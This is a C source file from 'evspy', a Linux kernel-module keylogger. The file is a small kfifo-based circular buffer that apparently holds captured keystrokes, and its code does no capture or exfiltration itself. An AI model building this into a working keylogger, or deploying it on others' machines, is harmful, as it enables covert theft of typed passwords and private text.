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/*
* evspy - event based keylogger (Linux module)
*
* Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
* based on evbug module by Vojtech Pavlik ((c) 1999-2001)
*
* This file is part of evspy
*
* evspy is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* evspy is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with evspy. If not, see <http://www.gnu.org/licenses/>.
*/
#include <linux/kfifo.h>
#include "cbuf.h"
DECLARE_KFIFO(cbuffer, char, CBUF_SIZE);
void cbuf_init(void)
{
INIT_KFIFO(cbuffer);
}
int cbuf_read(char *to, int count, int *eof)
{
int tmp = kfifo_len(&cbuffer);
unsigned int n = min(tmp, count); // TODO n = count?
n = kfifo_out(&cbuffer, to, n);
if (kfifo_is_empty(&cbuffer))
*eof = 1;
return n;
}
void cbuf_write(char c)
{
/*
* The kfifo implementation doesn't allow to write in a full buffer, so if
* we want to do it anyway, we must first delete the last element
*/
if (kfifo_is_full(&cbuffer))
kfifo_skip(&cbuffer);
kfifo_put(&cbuffer, &c);
}
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